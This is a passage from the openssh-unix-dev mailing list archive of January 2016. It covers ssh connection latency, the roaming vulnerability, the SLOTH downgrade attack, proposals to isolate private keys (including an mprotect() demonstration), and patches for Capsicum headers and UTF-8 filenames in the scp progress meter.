References: <CAKJ=2+w9esdcEv12CZyYkx9oVOtUujvRD7uEL1S5KpWdDFAepA@mail.gmail.com>
 <56997430.5040607@symas.com>
Message-ID: <CAKAoaQ=3qowDV7emG23-hUHWVYQB2ue99JBj2f4TAg8VTyNKMg@mail.gmail.com>

On Fri, Jan 15, 2016 at 11:35 PM, Howard Chu <hyc at symas.com> wrote:
> Thomas ? Habets wrote:
>> On 15 January 2016 at 17:26, Roland Mainz <roland.mainz at nrubsig.org>
>> wrote:
>>>>>
>>>>> Don't these extra roundtrips further increase the latency of ssh
>>>>> connection setup (e.g. imagine a high-bandwidth&&high-latency satelite
>>>>> link) ? ssh is already a *PAIN* in that area, killing it's usefullness
>>>>> for applications like "Distributed make" because the time to setup the
>>>>> connection can be much longer than the command executed on the remote
>>>>> side.
>>>>
>>>> They would, but only when this non-default option was enabled.
>>>
>>> OK... are there any good ideas how to mitigate the latency effect ([1]) ?
>>
>> You could try mosh (https://mosh.mit.edu/).
>
> LINEMODE works too. https://github.com/hyc/OpenSSH-LINEMODE

Isn't that an improvement only for interactive mode ? My point was
that something like $ ssh "$LOGNAME at desthost" '/bin/true' # is
horrible slow compared to (Kerberised) rsh, and gets even worse on
high-latency links (problem is that the large number of roundtrips by
the ssh protocol makes the whole thing latency-sensitive to a high
degree).

----

Bye,
Roland

-- 
  __ .  . __
 (o.\ \/ /.o) roland.mainz at nrubsig.org
  \__\/\/__/  MPEG specialist, C&&JAVA&&Sun&&Unix programmer
  /O /==\ O\  TEL +49 641 3992797
 (;O/ \/ \O;)

From imorgan at nas.nasa.gov  Sat Jan 16 13:13:50 2016
From: imorgan at nas.nasa.gov (Iain Morgan)
Date: Fri, 15 Jan 2016 18:13:50 -0800
Subject: Another error in the announcement?
Message-ID: <20160116021009.GA6872@linux124.nas.nasa.gov>

Hi,

The release-7.1p2 file indicates that the issue with roaming was
introduced in 5.4, but it was actually in 5.3. Was this a mistake?

I checked the source from the 5.3p1 tarball, and the roaming support is
there and UseRoaming defaults to "on."

-- 
Iain Morgan

From stu at spacehopper.org  Sat Jan 16 21:01:02 2016
From: stu at spacehopper.org (Stuart Henderson)
Date: Sat, 16 Jan 2016 10:01:02 +0000 (UTC)
Subject: SSH on high latency links. Re: [Patch] TCP MD5SIG for OpenSSH
References: <CAKJ=2+w9esdcEv12CZyYkx9oVOtUujvRD7uEL1S5KpWdDFAepA@mail.gmail.com>
 <56997430.5040607@symas.com>
 <CAKAoaQ=3qowDV7emG23-hUHWVYQB2ue99JBj2f4TAg8VTyNKMg@mail.gmail.com>
Message-ID: <slrnn9k56u.2me.stu@naiad.spacehopper.org>

On 2016-01-15, Roland Mainz <roland.mainz at nrubsig.org> wrote:
> Isn't that an improvement only for interactive mode ? My point was
> that something like $ ssh "$LOGNAME at desthost" '/bin/true' # is
> horrible slow compared to (Kerberised) rsh, and gets even worse on
> high-latency links (problem is that the large number of roundtrips by
> the ssh protocol makes the whole thing latency-sensitive to a high
> degree).

Do you already know about ControlMaster and related options? If they fit
your use case, they help a lot.


From fidencio at redhat.com  Sat Jan 16 22:30:54 2016
From: fidencio at redhat.com (=?UTF-8?Q?Fabiano_Fid=C3=AAncio?=)
Date: Sat, 16 Jan 2016 12:30:54 +0100
Subject: wolfSSL meet/greet with OpenSSH Devs at FOSDEM
In-Reply-To: <CAMB3dQXV0LHma2TsEHpLyEGfsYPmZPk1zV7G285i1Mb0B7QYXg@mail.gmail.com>
References: <CAMB3dQXV0LHma2TsEHpLyEGfsYPmZPk1zV7G285i1Mb0B7QYXg@mail.gmail.com>
Message-ID: <CAAY6XscszqxqWyziGApkyd5QJrkrz8THofRhAEGsndxSqd0-WA@mail.gmail.com>

On Fri, Jan 15, 2016 at 9:51 PM, Kaleb Himes <kaleb at wolfssl.com> wrote:
> Hello OpenSSH,
>
> wolfSSL will be at FOSDEM 2016 in Brussels on the 30th and 31st of January.
> We are interested in getting together in person with any developers from
> OpenSSH to talk about the recent port of wolfSSL to OpenSSH.
>
> Please contact us at info at wolfssl.com if you are interested in setting up a
> meeting.

If this meeting happens I would like to participate as well.
There is one important feature being implemented in my project and I
would need a behavior change for OpenSSH that I would love to hear a
feedback from the developers.

The bug[0] is there since October last year and I've already pinged
Damien a few times.
So, if someone is going to be at FOSDEM, please, let me know, and I do
believe the communication can be a bit faster when talking happening
face-to-face.

[0]: https://bugzilla.mindrot.org/show_bug.cgi?id=2480

Best Regards,
--
Fabiano Fid?ncio

From simon at josefsson.org  Sun Jan 17 00:24:14 2016
From: simon at josefsson.org (Simon Josefsson)
Date: Sat, 16 Jan 2016 14:24:14 +0100
Subject: wolfSSL meet/greet with OpenSSH Devs at FOSDEM
In-Reply-To: <CAAY6XscszqxqWyziGApkyd5QJrkrz8THofRhAEGsndxSqd0-WA@mail.gmail.com>
 ("Fabiano \=\?iso-8859-1\?Q\?Fid\=EAncio\=22's\?\= message of "Sat, 16 Jan 2016
 12:30:54 +0100")
References: <CAMB3dQXV0LHma2TsEHpLyEGfsYPmZPk1zV7G285i1Mb0B7QYXg@mail.gmail.com>
 <CAAY6XscszqxqWyziGApkyd5QJrkrz8THofRhAEGsndxSqd0-WA@mail.gmail.com>
Message-ID: <87y4bpbqtd.fsf@latte.josefsson.org>

And if someone wants to chat about U2F in SSH I can sponsor such a
conversation with a suitable choice of coffee/juice/beer :-)

https://bugzilla.mindrot.org/show_bug.cgi?id=2319

I'm in the security devroom all Saturday.

/Simon

Fabiano Fid?ncio <fidencio at redhat.com> writes:

> On Fri, Jan 15, 2016 at 9:51 PM, Kaleb Himes <kaleb at wolfssl.com> wrote:
>> Hello OpenSSH,
>>
>> wolfSSL will be at FOSDEM 2016 in Brussels on the 30th and 31st of January.
>> We are interested in getting together in person with any developers from
>> OpenSSH to talk about the recent port of wolfSSL to OpenSSH.
>>
>> Please contact us at info at wolfssl.com if you are interested in setting up a
>> meeting.
>
> If this meeting happens I would like to participate as well.
> There is one important feature being implemented in my project and I
> would need a behavior change for OpenSSH that I would love to hear a
> feedback from the developers.
>
> The bug[0] is there since October last year and I've already pinged
> Damien a few times.
> So, if someone is going to be at FOSDEM, please, let me know, and I do
> believe the communication can be a bit faster when talking happening
> face-to-face.
>
> [0]: https://bugzilla.mindrot.org/show_bug.cgi?id=2480
>
> Best Regards,
> --
> Fabiano Fid?ncio
> _______________________________________________
> openssh-unix-dev mailing list
> openssh-unix-dev at mindrot.org
> https://lists.mindrot.org/mailman/listinfo/openssh-unix-dev
-------------- next part --------------
A non-text attachment was scrubbed...
Name: signature.asc
Type: application/pgp-signature
Size: 472 bytes
Desc: not available
URL: <http://lists.mindrot.org/pipermail/openssh-unix-dev/attachments/20160116/b85db943/attachment-0001.bin>

From peter at stuge.se  Sun Jan 17 03:48:00 2016
From: peter at stuge.se (Peter Stuge)
Date: Sat, 16 Jan 2016 17:48:00 +0100
Subject: wolfSSL meet/greet with OpenSSH Devs at FOSDEM
In-Reply-To: <CAMB3dQXV0LHma2TsEHpLyEGfsYPmZPk1zV7G285i1Mb0B7QYXg@mail.gmail.com>
References: <CAMB3dQXV0LHma2TsEHpLyEGfsYPmZPk1zV7G285i1Mb0B7QYXg@mail.gmail.com>
Message-ID: <20160116164800.24402.qmail@stuge.se>

Kaleb Himes wrote:
> wolfSSL will be at FOSDEM 2016 in Brussels on the 30th and 31st of January.
> We are interested in getting together in person with any developers from
> OpenSSH to talk about the recent port of wolfSSL to OpenSSH.

Did you not understand the feedback you already got on the mailing list?
The repo is a mess and even then the license is a showstopper. What else
do you need to know?

I'm not an OpenSSH developer but I will be at FOSDEM, Saturday no
time free but I'm happy to chat on Sunday around the closing event.


> Please contact us at info at wolfssl.com if you are interested in setting up a
> meeting.

No, that isn't how open source projects work. If you want to meet the
project then you arrange the meeting on the project mailing list.


//Peter

From jjelen at redhat.com  Mon Jan 18 19:07:17 2016
From: jjelen at redhat.com (Jakub Jelen)
Date: Mon, 18 Jan 2016 09:07:17 +0100
Subject: Another error in the announcement?
In-Reply-To: <20160116021009.GA6872@linux124.nas.nasa.gov>
References: <20160116021009.GA6872@linux124.nas.nasa.gov>
Message-ID: <569C9D35.6000402@redhat.com>

On 01/16/2016 03:13 AM, Iain Morgan wrote:
> Hi,
>
> The release-7.1p2 file indicates that the issue with roaming was
> introduced in 5.4, but it was actually in 5.3. Was this a mistake?
>
> I checked the source from the 5.3p1 tarball, and the roaming support is
> there and UseRoaming defaults to "on."
>
If you check the source of 5.3p1 tarball, there is UseRoaming option,
but the option does not do anything. It is just parsed, but does not
modify the behavior of the client, unlike the later versions.

-- 
Jakub Jelen
Security Technologies
Red Hat


From sanumesh at in.ibm.com  Mon Jan 18 20:39:30 2016
From: sanumesh at in.ibm.com (Sandeep Umesh)
Date: Mon, 18 Jan 2016 15:09:30 +0530
Subject: openSSH and SLOTH vulnerability
Message-ID: <201601181353.u0IDrqqC022586@d28av03.in.ibm.com>

Hi

I got 2 questions related to info in the SLOTH article, can someone help 
with these? 
1. For SSH2 exposure for the (CVE-2015-7575) SLOTH (
http://www.mitls.org/pages/attacks/SLOTH), the chart in that URL 
identifies a downgrade attack for SSH2 protocol, Key Exchange Integrity 
SHA1.  Is the remediation for that vulnerability to modify the config 
files to remove the MD5 and SHA1 as MAC's (Message Authentication Codes) ? 

2. Is there any exposure related to using the ssh-keygen for the initial 
creation of the public/private key pairs or the exposure of the related 
fingerprint used (https://en.wikipedia.org/wiki/Public_key_fingerprint) ?

Thanks


Regards
Sandeep


From jjelen at redhat.com  Tue Jan 19 02:21:42 2016
From: jjelen at redhat.com (Jakub Jelen)
Date: Mon, 18 Jan 2016 16:21:42 +0100
Subject: openSSH and SLOTH vulnerability
In-Reply-To: <201601181353.u0IDrqqC022586@d28av03.in.ibm.com>
References: <201601181353.u0IDrqqC022586@d28av03.in.ibm.com>
Message-ID: <569D0306.10302@redhat.com>

On 01/18/2016 10:39 AM, Sandeep Umesh wrote:
> 1. For SSH2 exposure for the (CVE-2015-7575) SLOTH (
> http://www.mitls.org/pages/attacks/SLOTH), the chart in that URL
> identifies a downgrade attack for SSH2 protocol, Key Exchange Integrity
> SHA1.  Is the remediation for that vulnerability to modify the config
> files to remove the MD5 and SHA1 as MAC's (Message Authentication Codes) ?
No. It is not about HMACs used in the transport protocol,
but about DH authentication codes. They are
part of the KEX algoritms, such as diffie-hellman-group1-sha1 or
diffie-hellman-group-exchange-sha256, where the SHA1 is vulnerable to
downgrade attack, as described in the paper [1]. You can remove
diffie-hellman-group14-sha1 from default KexAlgorithms list,
but you might end up not able to connect to some servers.
> 2. Is there any exposure related to using the ssh-keygen for the initial
> creation of the public/private key pairs or the exposure of the related
> fingerprint used (https://en.wikipedia.org/wiki/Public_key_fingerprint) ?
This is completely unrelated. Attacker as a MitM can tamper with
both client and server cipher-suites during key exchange and might
downgrade the negotiate ciphersuite to a weak cryptographic algorithm
that he knows how to break. It is based on the knowledge of server and
client identification strings, if I am right.

It is still more theoretical since it needs a lot of work per connection 
(2^77),
which is less then the 2^160 as should sha1 provide, but still more than is
should feasible.

Feel free to correct me if I read the report wrong at some point.

[1] http://www.mitls.org/downloads/transcript-collisions.pdf

Regards,

-- 
Jakub Jelen
Security Technologies
Red Hat


From aris at 0xbadc0de.be  Tue Jan 19 03:11:24 2016
From: aris at 0xbadc0de.be (Aris Adamantiadis)
Date: Mon, 18 Jan 2016 17:11:24 +0100
Subject: Proposal: always handle keys in separate process
In-Reply-To: <CA+1ewKZau=tQ1uRMvOW1oQYnvoFR=2TE+_u=HLShHjmHtUWpvw@mail.gmail.com>
References: <20160114191216.GJ6155@cip.informatik.uni-erlangen.de>
 <CAOp4FwSbRNY49_iLQ5_3G3HmyEgJvr+=85x-z6ZZsU3L1SfMWQ@mail.gmail.com>
 <CA+1ewKZau=tQ1uRMvOW1oQYnvoFR=2TE+_u=HLShHjmHtUWpvw@mail.gmail.com>
Message-ID: <569D0EAC.1060405@0xbadc0de.be>

OpenSSH already has an agent protocol, that is much more simple than
this whole pkcs11 thing and already has both sides implemented. I could
see an OpenSSH client starting an ephemeral ssh-agent that will do the
key handling.

Implicit identities could be removed from the default configuration,
too. Most users already have an agent and aren't aware it exists, and
having to type the passphrase every time encourages users to have
unencrypted keys.

Aris

On 15/01/16 11:22, Thomas Calderon wrote:
> How about using the existing OpenSSH client's PKCS#11 support to
> isolate keying material in a dedicated process?
>
> A similar approach, "Practical key privilege separation using Caml
> Crush", was discussed at FOSDEM'15 with a focus on
> Heatbleed [1][2] but the ideas and principles are the same.
>
> Now this is easily done using the following available components:
>   - SoftHSM to store the crypto keys
>   - Caml-Crush server components load the SoftHSM middleware (access
> the keys) in a dedicated process
>   - SSH client loads Caml-Crush PKCS#11 middleware that connects to
> its daemon and allows to sign SSH exchange to authenticate
>
> No patch needed.
>
> Hope this helps,
>
> Thomas
>
> [1] https://archive.fosdem.org/2015/schedule/event/caml_crush/
> [2] https://github.com/ANSSI-FR/caml-crush
>
>
> On Fri, Jan 15, 2016 at 9:30 AM, Loganaden Velvindron
> <loganaden at gmail.com> wrote:
>> On Thu, Jan 14, 2016 at 7:12 PM, Alexander Wuerstlein <arw at cs.fau.de> wrote:
>>> Hello,
>>>
>>> in light of the recent CVE-2016-0777, I came up with the following idea,
>>> that would have lessened its impact. Feel free to ignore or flame me,
>>> maybe its stupid or I missed something :)
>>>
>> Feel free to come up with a patch. In OpenSSH, it's a good idea to
>> follow-up with a patch :)
>> _______________________________________________
>> openssh-unix-dev mailing list
>> openssh-unix-dev at mindrot.org
>> https://lists.mindrot.org/mailman/listinfo/openssh-unix-dev
> _______________________________________________
> openssh-unix-dev mailing list
> openssh-unix-dev at mindrot.org
> https://lists.mindrot.org/mailman/listinfo/openssh-unix-dev
>



From mfriedl at gmail.com  Tue Jan 19 04:33:32 2016
From: mfriedl at gmail.com (Markus Friedl)
Date: Mon, 18 Jan 2016 18:33:32 +0100
Subject: Proposal: always handle keys in separate process
In-Reply-To: <20160115115416.GN6155@cip.informatik.uni-erlangen.de>
References: <20160114191216.GJ6155@cip.informatik.uni-erlangen.de>
 <CAOp4FwSbRNY49_iLQ5_3G3HmyEgJvr+=85x-z6ZZsU3L1SfMWQ@mail.gmail.com>
 <CA+1ewKZau=tQ1uRMvOW1oQYnvoFR=2TE+_u=HLShHjmHtUWpvw@mail.gmail.com>
 <20160115115416.GN6155@cip.informatik.uni-erlangen.de>
Message-ID: <BDD0B95E-64D6-4016-A7A1-62C6B25FA172@gmail.com>

Another candidate might be ssh-keysign 

> Am 15.01.2016 um 12:54 schrieb Alexander Wuerstlein <arw at cs.fau.de>:
> 
>> On 2016-01-15T11:23, Thomas Calderon <calderon.thomas at gmail.com> wrote:
>> How about using the existing OpenSSH client's PKCS#11 support to
>> isolate keying material in a dedicated process?
>> 
>> A similar approach, "Practical key privilege separation using Caml
>> Crush", was discussed at FOSDEM'15 with a focus on
>> Heatbleed [1][2] but the ideas and principles are the same.
>> 
>> Now this is easily done using the following available components:
>>  - SoftHSM to store the crypto keys
>>  - Caml-Crush server components load the SoftHSM middleware (access
>> the keys) in a dedicated process
>>  - SSH client loads Caml-Crush PKCS#11 middleware that connects to
>> its daemon and allows to sign SSH exchange to authenticate
>> 
>> No patch needed.
> 
> Well, yes, that could of course work, but there is already an easier, 
> existing and included-in-OpenSSH solution that does separate keying
> material: ssh-agent.
> 
> My proposal was just to automate spawning it, thereby making things
> transparent and easy for users. The solution you describe sounds[1] a bit
> more complicated than even the current state of manually starting
> ssh-agent and ssh-add-ing all keys.
> 
> 
> 
> Ciao,
> 
> Alexander Wuerstlein.
> 
> [1] I may be wrong there, of course
> _______________________________________________
> openssh-unix-dev mailing list
> openssh-unix-dev at mindrot.org
> https://lists.mindrot.org/mailman/listinfo/openssh-unix-dev

From roland.mainz at nrubsig.org  Tue Jan 19 09:00:58 2016
From: roland.mainz at nrubsig.org (Roland Mainz)
Date: Mon, 18 Jan 2016 23:00:58 +0100
Subject: Use |mprotect()| to secure key data ? / was: Re: Proposal: always
 handle keys in separate process
Message-ID: <CAKAoaQmtivDYUJAhQ7sQ14oVpvWNnfx31Opv6QyUHh4TmzJ+ew@mail.gmail.com>

On Thu, Jan 14, 2016 at 8:12 PM, Alexander Wuerstlein <arw at cs.fau.de> wrote:
> Hello,
>
> in light of the recent CVE-2016-0777, I came up with the following idea,
> that would have lessened its impact. Feel free to ignore or flame me,
> maybe its stupid or I missed something :)
>
> - private key material should only ever be handled in a separate process
>   from the SSH client. ssh-agent (maybe slightly extended) seems the
>   logical choice.
[snip]

While this *might* be a bit of an overkill (think about embedded
systems where the extra >= 500kb for a separate process actually hurt)
... what about using the existing facilities like |mprotect()| to
secure the key data, e.g. like this:
-- snip --
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <sys/mman.h>

#define MYMSG(str) { puts((str)) ; fflush(stdout); fflush(stderr); }
#define SECRET_BUFF_SIZE (8192) /* should be page size */
char *secret_buff = NULL;

void write_buff(const char *in_str)
{
    mprotect(secret_buff, SECRET_BUFF_SIZE, PROT_WRITE);
    strncpy(secret_buff, in_str, SECRET_BUFF_SIZE);
    mprotect(secret_buff, SECRET_BUFF_SIZE, PROT_NONE);
}

void read_buff(void)
{
    mprotect(secret_buff, SECRET_BUFF_SIZE, PROT_READ);
    printf("|%s|\n", secret_buff);
    mprotect(secret_buff, SECRET_BUFF_SIZE, PROT_NONE);
}

void thief_read_buff(void)
{
    printf("|%s|\n", secret_buff);
}

int main(int ac, char *av[])
{
    secret_buff = mmap(NULL, SECRET_BUFF_SIZE*2, PROT_READ|PROT_WRITE,
MAP_ANON|MAP_PRIVATE, -1, 0);
    if ((secret_buff == (void *)-1) || (secret_buff == NULL))
    {
        perror("mmap() failed");
        return EXIT_FAILURE;
    }

    MYMSG("# writing something into the secret buffer");
    write_buff("hello, this string is secret: vem_iam_1983");

    MYMSG("# authorised secret buffer reader...");
    read_buff();

    MYMSG("# ALERT ALERT thieves are trying to use the buffer...");
    thief_read_buff();

    return EXIT_SUCCESS;
}
-- snip --

This example goes nicely "boom" with a SIGSEGV in function
|thief_read_buff()| when it tries to access the data in |secret| which
have neither |PROT_READ| nor |PROT_WRITE| at that point:
-- snip --
$ gdb ./a.out
[snip]
Reading symbols from /home/test001/tmp/a.out...done.
(gdb) run
Starting program: /home/test001/tmp/a.out
# writing something into the secret buffer
# authorised secret buffer reader...
|hello, this string is secret: vem_iam_1983|
# ALERT ALERT thieves are trying to use the buffer...

Program received signal SIGSEGV, Segmentation fault.
0x00007ffff7ac3e44 in _IO_vfprintf_internal (s=<value optimized out>,
format=<value optimized out>, ap=<value optimized out>) at
vfprintf.c:1593
1593    vfprintf.c: No such file or directory.
        in vfprintf.c
(gdb) where
#0  0x00007ffff7ac3e44 in _IO_vfprintf_internal (s=<value optimized
out>, format=<value optimized out>, ap=<value optimized out>) at
vfprintf.c:1593
#1  0x00007ffff7acb34a in __printf (format=<value optimized out>) at printf.c:35
#2  0x0000000000400853 in thief_read_buff () at secretbuffer.c:27
#3  0x000000000040093d in main (ac=1, av=0x7fffffffde08) at secretbuffer.c:46
-- snip --

Granted this way is not elegant but it prevents unintended data
leakage with a minimum of resource overhead (erm... yes, we still
fiddle at MMU level which is expensive from an OS point of view but
it's still a few hundred times more lightwheight than having a
separate process around).

The other idea from the <sys/mman.h> area would be to store secret
data in unlinked temporary files, e.g. we only keep the fd's around
and |mmap()| and |munmap()| them on demand to store/read data in
dedicated functions.

Note that this only works for memory (file mapped or |MAP_ANON|)
obtained via |mmap()|, so using the stack or global vars is not
recommended (POSIX and SUS do not allow it but some OSes support it
anyway...).

----

Bye,
Roland

-- 
  __ .  . __
 (o.\ \/ /.o) roland.mainz at nrubsig.org
  \__\/\/__/  MPEG specialist, C&&JAVA&&Sun&&Unix programmer
  /O /==\ O\  TEL +49 641 3992797
 (;O/ \/ \O;)

From de.techno at gmail.com  Tue Jan 19 18:48:10 2016
From: de.techno at gmail.com (dE)
Date: Tue, 19 Jan 2016 13:18:10 +0530
Subject: How do I enable roaming on the server?
Message-ID: <569DEA3A.4010608@gmail.com>

Hi.
     I found out the recent roaming vulnerability, but I want to enable 
it on the server regardless of the security concern.

Can I specify the timeout etc... for the client to attempt and 
reconnect? Will it use the existing settings for the purpose 
(ConnectTimeout, ServerAliveInterval etc... )?

From jjelen at redhat.com  Tue Jan 19 19:03:56 2016
From: jjelen at redhat.com (Jakub Jelen)
Date: Tue, 19 Jan 2016 09:03:56 +0100
Subject: How do I enable roaming on the server?
In-Reply-To: <569DEA3A.4010608@gmail.com>
References: <569DEA3A.4010608@gmail.com>
Message-ID: <569DEDEC.3080103@redhat.com>

On 01/19/2016 08:48 AM, dE wrote:
> Hi.
>     I found out the recent roaming vulnerability, but I want to enable 
> it on the server regardless of the security concern.
This feature was never implemented in openssh server.

Regards,

-- 
Jakub Jelen
Security Technologies
Red Hat


From maniac.nl at gmail.com  Tue Jan 19 21:36:08 2016
From: maniac.nl at gmail.com (Mark Janssen)
Date: Tue, 19 Jan 2016 11:36:08 +0100
Subject: How do I enable roaming on the server?
In-Reply-To: <569DEDEC.3080103@redhat.com>
References: <569DEA3A.4010608@gmail.com>
	<569DEDEC.3080103@redhat.com>
Message-ID: <CAKs9msi7=i-tkejtKCR1Wa3QQVWOVt_PH7KZHRxasBN+jjY4oQ@mail.gmail.com>

But using mosh comes close ;)

On Tue, Jan 19, 2016 at 9:03 AM, Jakub Jelen <jjelen at redhat.com> wrote:

> On 01/19/2016 08:48 AM, dE wrote:
>
>> Hi.
>>     I found out the recent roaming vulnerability, but I want to enable it
>> on the server regardless of the security concern.
>>
> This feature was never implemented in openssh server.
>
> Regards,
>
> --
> Jakub Jelen
> Security Technologies
> Red Hat
>
>
> _______________________________________________
> openssh-unix-dev mailing list
> openssh-unix-dev at mindrot.org
> https://lists.mindrot.org/mailman/listinfo/openssh-unix-dev
>



-- 
Mark Janssen  --  maniac(at)maniac.nl
Unix / Linux Open-Source and Internet Consultant
Maniac.nl Sig-IO.nl Vps.Stoned-IT.com

From des at des.no  Wed Jan 20 03:51:43 2016
From: des at des.no (=?utf-8?Q?Dag-Erling_Sm=C3=B8rgrav?=)
Date: Tue, 19 Jan 2016 17:51:43 +0100
Subject: [PATCH] correct header for Capsicum
Message-ID: <86ziw1fr6o.fsf@desk.des.no>

In FreeBSD 10 and newer, <sys/capability.h> has been renamed to
<sys/capsicum.h>, due to a potential conflict with POSIX capabilities.
The old header remains as a wrapper for now, but may be replaced at some
future point.  In addition, both the new and the old headers require
<sys/types.h>, so configure will complain that they are present but not
compilable.  The following patch, relative to 7.1p2, fixes both issues:

Index: configure.ac
===================================================================
--- configure.ac	(revision 294088)
+++ configure.ac	(working copy)
@@ -405,7 +405,6 @@
 	sys/audit.h \
 	sys/bitypes.h \
 	sys/bsdtty.h \
-	sys/capability.h \
 	sys/cdefs.h \
 	sys/dir.h \
 	sys/mman.h \
@@ -435,6 +434,13 @@
 	vis.h \
 ])
 
+# sys/capsicum.h requires sys/types.h
+AC_CHECK_HEADERS([sys/capsicum.h], [], [], [
+#ifdef HAVE_SYS_TYPES_H
+# include <sys/types.h>
+#endif
+])
+
 # lastlog.h requires sys/time.h to be included first on Solaris
 AC_CHECK_HEADERS([lastlog.h], [], [], [
 #ifdef HAVE_SYS_TIME_H
Index: sandbox-capsicum.c
===================================================================
--- sandbox-capsicum.c	(revision 294088)
+++ sandbox-capsicum.c	(working copy)
@@ -22,7 +22,7 @@
 #include <sys/param.h>
 #include <sys/time.h>
 #include <sys/resource.h>
-#include <sys/capability.h>
+#include <sys/capsicum.h>
 
 #include <errno.h>
 #include <stdarg.h>

DES
-- 
Dag-Erling Sm?rgrav - des at des.no

From schwarze at usta.de  Wed Jan 20 08:48:53 2016
From: schwarze at usta.de (Ingo Schwarze)
Date: Tue, 19 Jan 2016 22:48:53 +0100
Subject: FWD: [patch] scp + UTF-8
Message-ID: <20160119214853.GH9300@athene.usta.de>

Hi,

Martijn sent the following patch to me in private and agreed that i post
it here.

In any other program in OpenBSD base, i'd probably agree with the
basic approach.  Regarding OpenSSH, however, i worry whether wcwidth(3)
can be used.  While wcwidth(3) is POSIX, it is not ISO C.  Does
OpenSSH target platforms that don't provide wcwidth(3)?  If so,
do you think the problem can be solved by simply providing US-ASCII
support only on such platforms, but no UTF-8 support at all?

If you think we can require wcwidth(3), or we can ditch UTF-8 support
where wcwidth(3) it isn't available, i will work with Martijn to
iron out a few style issues such that we can submit a patch that
is ready for commit.

If you think we cannot require wcwidth(3) but need UTF-8 support
everywhere, i suggest to postpone this until we get djm@'s ssh(1)
banner patch in.  I sent some feedback on that earlier, proposing
to use a whitelist rather than the blacklist proposed by djm@ which
seems dangerous to me.  Should i integrate that suggestion into Damien's
patch, repost the modified patch, and then continue review?  I suspect
there might be one or two other things that could be improved, but i'm
not quite sure yet.

Once that is in, we can do something similar for wcwidth(3).

Yours,
  Ingo

P.S.
This patch also uses mbtowc(3), but i assume that's no problem
because that's ANSI C.

----- Forwarded message from Martijn van Duren -----

From: Martijn van Duren
Date: Sun, 17 Jan 2016 11:13:01 +0100
To: Ingo Schwarze <schwarze at usta.de>
Subject: [patch] scp + UTF-8

[...]

I've tested this under the following conditions:
- It lines out the same way the current scp does for ascii.
- when shrinking the terminal it prints just as much characters
  (width) of the filename as ascii would.
- To support terminals larger then MAX_WINSIZE and still be properly
  indented I increased the buf size to 4x the size of MAX_WINSIZE,
  since the maximum size of an UTF-8 char <should> be 4 bytes.
  It's quite a lot more memory, but I reckon it's better then the
  horrible indentation we have now.

I primarily developed this with scp and only minimally tested it with
sftp, but it should work with both.  sftp already called setlocale,
so no patch is needed for sftp.c.

[...]

Index: progressmeter.c
===================================================================
RCS file: /cvs/src/usr.bin/ssh/progressmeter.c,v
retrieving revision 1.41
diff -u -p -r1.41 progressmeter.c
--- progressmeter.c	14 Jan 2015 13:54:13 -0000	1.41
+++ progressmeter.c	17 Jan 2016 09:07:51 -0000
@@ -30,9 +30,11 @@
 #include <errno.h>
 #include <signal.h>
 #include <stdio.h>
+#include <stdlib.h>
 #include <string.h>
 #include <time.h>
 #include <unistd.h>
+#include <wchar.h>
 
 #include "progressmeter.h"
 #include "atomicio.h"
@@ -117,7 +119,7 @@ format_size(char *buf, int size, off_t b
 void
 refresh_progress_meter(void)
 {
-	char buf[MAX_WINSIZE + 1];
+	char buf[(MAX_WINSIZE * 4) + 1];
 	time_t now;
 	off_t transferred;
 	double elapsed;
@@ -125,8 +127,10 @@ refresh_progress_meter(void)
 	off_t bytes_left;
 	int cur_speed;
 	int hours, minutes, seconds;
-	int i, len;
-	int file_len;
+	int width, size, buf_width, buf_size;
+	int i;
+	int file_width;
+	wchar_t wc;
 
 	transferred = *counter - (cur_pos ? cur_pos : start_pos);
 	cur_pos = *counter;
@@ -157,16 +161,33 @@ refresh_progress_meter(void)
 
 	/* filename */
 	buf[0] = '\0';
-	file_len = win_size - 35;
-	if (file_len > 0) {
-		len = snprintf(buf, file_len + 1, "\r%s", file);
-		if (len < 0)
-			len = 0;
-		if (len >= file_len + 1)
-			len = file_len;
-		for (i = len; i < file_len; i++)
-			buf[i] = ' ';
-		buf[file_len] = '\0';
+	file_width = win_size - 36;
+	if (file_width > 0) {
+		buf[0] = '\r';
+		for (i = 0, buf_width = 0, buf_size = 1;
+		    file[i] != '\0';) {
+			if ((size = mbtowc(&wc, &(file[i]), MB_CUR_MAX)) == -1) {
+				(void)mbtowc(NULL, NULL, MB_CUR_MAX);
+				buf[buf_size++] = '?';
+				buf_width++;
+				i++;
+			} else if ((width = wcwidth(wc)) == -1) {
+				buf[buf_size++] = '?';
+				buf_width++;
+				i++;
+			} else if (buf_width + width <= file_width &&
+			    buf_size + size <= (int) sizeof(buf) - 35) {
+				memcpy(&(buf[buf_size]), &(file[i]), size);
+				i += size;
+				buf_size += size;
+				buf_width += width;
+			} else
+				break;
+		}
+		for (; buf_width < file_width &&
+		    buf_size < (int) sizeof(buf) - 35; buf_width++)
+			buf[buf_size++] = ' ';
+		buf[buf_size] = '\0';
 	}
 
 	/* percent of transfer done */
@@ -174,18 +195,18 @@ refresh_progress_meter(void)
 		percent = ((float)cur_pos / end_pos) * 100;
 	else
 		percent = 100;
-	snprintf(buf + strlen(buf), win_size - strlen(buf),
+	snprintf(buf + strlen(buf), sizeof(buf) - strlen(buf),
 	    " %3d%% ", percent);
 
 	/* amount transferred */
-	format_size(buf + strlen(buf), win_size - strlen(buf),
+	format_size(buf + strlen(buf), sizeof(buf) - strlen(buf),
 	    cur_pos);
-	strlcat(buf, " ", win_size);
+	strlcat(buf, " ", sizeof(buf));
 
 	/* bandwidth usage */
-	format_rate(buf + strlen(buf), win_size - strlen(buf),
+	format_rate(buf + strlen(buf), sizeof(buf) - strlen(buf),
 	    (off_t)bytes_per_second);
-	strlcat(buf, "/s ", win_size);
+	strlcat(buf, "/s ", sizeof(buf));
 
 	/* ETA */
 	if (!transferred)
@@ -194,9 +215,9 @@ refresh_progress_meter(void)
 		stalled = 0;
 
 	if (stalled >= STALL_TIME)
-		strlcat(buf, "- stalled -", win_size);
+		strlcat(buf, "- stalled -", sizeof(buf));
 	else if (bytes_per_second == 0 && bytes_left)
-		strlcat(buf, "  --:-- ETA", win_size);
+		strlcat(buf, "  --:-- ETA", sizeof(buf));
 	else {
 		if (bytes_left > 0)
 			seconds = bytes_left / bytes_per_second;
@@ -209,19 +230,21 @@ refresh_progress_meter(void)
 		seconds -= minutes * 60;
 
 		if (hours != 0)
-			snprintf(buf + strlen(buf), win_size - strlen(buf),
+			snprintf(buf + strlen(buf),
+			    sizeof(buf) - strlen(buf),
 			    "%d:%02d:%02d", hours, minutes, seconds);
 		else
